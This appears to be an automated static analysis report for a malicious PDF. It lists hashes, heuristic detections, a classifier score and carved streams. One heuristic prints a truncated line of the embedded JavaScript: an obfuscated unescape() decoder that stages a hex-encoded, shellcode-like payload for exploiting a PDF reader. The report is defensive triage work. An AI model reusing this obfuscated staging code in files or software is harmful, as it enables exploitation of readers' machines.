Malicious PDF — malware analysis report

Static analysis result for SHA-256 d08946db1a9e2ea0…

MALICIOUS

PDF

6.6 KB First seen: 2026-05-10
MD5: 5aba162c1191cd337f6c8b38dedbd277 SHA-1: 857577a120636030bb172f153966156151eded63 SHA-256: d08946db1a9e2ea0e45a4869672eb9a9f68011abb1681424148d55e0ff526f42
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains obfuscated JavaScript, indicated by multiple heuristic firings related to PDF JavaScript and unescape() calls. The embedded JavaScript stream, found in stream_002_off00000327.bin, is likely designed to exploit a vulnerability within the PDF reader. The presence of unescape() suggests an attempt to deobfuscate malicious code. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9833

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function RandomVar8(RandomVar9){return unescape(RandomVar9.replace(/'d6H4'+n3Q1'+'F9v5'/g,'%u'));}var RandomVar3 = RandomVar8('d6H4n3Q1F9v554EBd6H4n3Q1F9v5758Bd6H4n3Q1F9v58B3Cd6H4n3Q1F9v53574d6H4n3Q1F9v50378d6H4n3Q1F9v556F5d6H4n3Q1F9v5768Bd6H4n3Q1F9v50320d6H4n3Q1F9v533F5d6H4n3Q1F9v549C9d6H4n3Q1F9v5AD41d6H4n3Q1F9v5DB33d6H4n3Q1F9v50F36d6H4n3Q1F9v514BEd6H4n3Q1F9v53828d6H4n3Q1F9v574F2d6H4n3Q1F9v5C108d6H4n3Q1F9v50DCBd6H4n3Q1F9v5DA03d6H4n3Q1F9v5EB40d6H4n3Q1F9v53BEFd6H4n3Q1F9v575DFd6H4n3Q1F9v55EE7d6H4n …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_002_off00000327.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x327 2050 bytes
SHA-256: 522c7d09776bb79a4201c02968a500f03ce7388fe6df4a299717ff6b0b8a382c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
objstm_0024_00.bin pdf-objstm-decoded PDF /ObjStm 24 0 obj (inflated) 331 bytes
SHA-256: ab54a0c4163e4f565446f3fb348ec051e9bfd9535b9c30293e99cb8c8c6f30e9

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